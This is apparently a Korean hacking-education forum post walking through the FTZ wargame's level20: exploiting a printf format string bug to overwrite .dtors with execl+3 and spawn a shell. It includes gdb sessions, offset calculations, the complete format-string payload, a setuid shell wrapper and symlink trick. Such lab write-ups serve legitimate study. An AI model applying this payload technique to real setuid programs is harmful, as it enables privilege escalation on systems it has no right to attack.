|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2592 [복사]
Format string bug를 이용하여
.dtors(destructor) 영역을 라이브러리 함수 execl함수의 실행주소로 변경하여
쉘 실행하기.
-----------------------------------------------------------
[level20@ftz level20]$ ls
attackme hint public_html tmp
[level20@ftz level20]$ cat hint
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
[level20@ftz level20]$ cd tmp
[level20@ftz tmp]$ ls
in ppp
[level20@ftz tmp]$ cd in
[level20@ftz in]$ ls
? ???@@??? egg egg.c sh sh.c vul vul.c
[level20@ftz in]$ objdump -s -j .dtors ~/attackme
/home/level20/attackme: file format elf32-i386
Contents of section .dtors:
8049594 ffffffff 00000000 ........
[level20@ftz in]$ ~/attackme
AAAABBBB%8x%8x%8x%8x%8x
AAAABBBB 4f401574604009d5004141414142424242
[level20@ftz in]$
/// 위의 결과로, dtors영역의 주소와, $flag포맷스트링의 구조를 계획할수 있다.
[level20@ftz in]$ gdb -q ~/attackme
(gdb) br main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) disass execl
Dump of assembler code for function execl:
0x400d16c0 <execl+0>: push %ebp
0x400d16c1 <execl+1>: mov %esp,%ebp
0x400d16c3 <execl+3>: push %edi
.....
0x16c3=5827
0x400d=16397
5827-8=5819
16397-5827=10570
(python -c 'print "\x98\x95\x04\x08\x9a\x95\x04\x08%5819x%4$n%10570x%5$n"';cat) | ~/attackme
/// 위와같은 공격 코드가 완성되었다.
/// 공격 코드가 하는일은, 공격대상 프로그램의 포맷스트링버그를 이용해서,
/// dtors영역에 execl함수의 주소(정확히 execl+3)를 입력하여, execl함수를 실행하게끔 해주는것이다.
/// 하지만, execl은 인자값이 있어야 한다. 다음과 같은 형식 execl("/bin/sh","/bin/sh",0)
/// 인자값이 없을땐, execl(0)이 되어버려.. dtors영역을 수정하여, execl함수를 실행하게끔 한 수고가 물거품이 될것이다.
/// 당장에, 원하는 인자값을 작성하기엔 어렵다.
/// 그렇기때문에, dtors영역에 execl+0의 주소가 아닌, execl+3의 주소를 덮어쓴것이다.
/// execl함수는, $ebp를 기준으로 하여 인자값을 인식(?)한다...
/// $ebp+8byte에 저장된 값이 가르키는 주소값을 인자로 받아들인다.
/// 0x400d16c0 <execl+0>: push %ebp
/// 0x400d16c1 <execl+1>: mov %esp,%ebp
/// 위 두줄의 프롤로그가 실행되면, %ebp값이 초기화되므로.. $ebp+8byte의 값이 0x00000001로 되어버린다.
/// 암튼...
[level20@ftz in]$ gdb -q ~/attackme
(gdb) br main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) x/16wx 0x08049594
0x8049594 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000 0x080494c4
0x80495a4 <_GLOBAL_OFFSET_TABLE_+4>: 0x40015a38 0x4000bcb0 0x080482ce 0x40038850
0x80495b4 <_GLOBAL_OFFSET_TABLE_+20>: 0x080482ee 0x080482fe 0x00000000 0x40157460
0x80495c4 <completed.1>: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) set *0x08049598=0x400d16c3 /// .dtors주소값을 execl+3의 주소로 덮어쓴다.
(gdb) br *execl+3
Breakpoint 2 at 0x400d16c3
(gdb) c
Continuing.
aaaa
aaaa
Breakpoint 2, 0x400d16c3 in execl () from /lib/libc.so.6
(gdb) x/16wx $ebp+8
0xbffffab0: 0x401597b8 0x401591c0 0xbffffad8 0x4004d940
0xbffffac0: 0x00000000 0x00000005 0x4004d8db 0x401591c0
0xbffffad0: 0x40015360 0xbffffb24 0xbffffaf8 0x4003891f
0xbffffae0: 0x00000005 0xbffffb24 0xbffffb2c 0x4001582c
(gdb) x/x 0x401597b8
0x401597b8 <initial+24>: 0x00000004
(gdb)
0x401597bc <initial+28>: 0x08048438
(gdb) x/s 0x401597b8
0x401597b8 <initial+24>: "\004"
(gdb) q
The program is running. Exit anyway? (y or n) y
[level20@ftz in]$ cat sh.c
int main()
{
setuid(0);
system("/bin/sh");
}
[level20@ftz in]$ gcc -o sh sh.c
[level20@ftz in]$ ln -s sh `printf "\x04"`
[level20@ftz in]$ (python -c 'print "\x98\x95\x04\x08\x9a\x95\x04\x08%5819x%4$n%10570x%5$n"';cat) | ~/attackme
.........
40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
exit
[level20@ftz in]$
-------------------------------------------------------
-------------------------------------------------------
참고 :
.dtors(0x08049598)에
execl+0주소값(0x400d16c0)을 덮어 썼을때,
execl 함수가 인자로 받아들이는 $ebp+8의 값 확인
[level20@ftz in]$ objdump -s -j .dtors ~/attackme
/home/level20/attackme: file format elf32-i386
Contents of section .dtors:
8049594 ffffffff 00000000 ........
[level20@ftz in]$ gdb -q ~/attackme
(gdb) br main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) set *0x08049598=0x400d16c0
(gdb) br *execl+3
Breakpoint 2 at 0x400d16c3
(gdb) c
Continuing.
aaaa
aaaa
Breakpoint 2, 0x400d16c3 in execl () from /lib/libc.so.6
(gdb) x/16wx $ebp+8
0xbffffaa0: 0x00000001 0x00000000 0xbffffab8 0x080484a6
0xbffffab0: 0x401597b8 0x401591c0 0xbffffad8 0x4004d940
0xbffffac0: 0x00000000 0x00000005 0x4004d8db 0x401591c0
0xbffffad0: 0x40015360 0xbffffb24 0xbffffaf8 0x4003891f
(gdb) x/x 0x00000001
0x1: Cannot access memory at address 0x1
(gdb) x/s 0x00000001
0x1: <Address 0x1 out of bounds>
/// 그렇기때문에 execl+3주소값(0x400d16c3)으로 덮어주어야 한다.
-------------------------------------------------
의문점 :: execl+3의 주소값으로 변경해 주었을경우에도
인자로 쓸만한 값이 없다면 어떻게 해야할까?
|
Hit : 4121 Date : 2007/11/30 08:59
|
2844, 
4/143 
ksdgeni
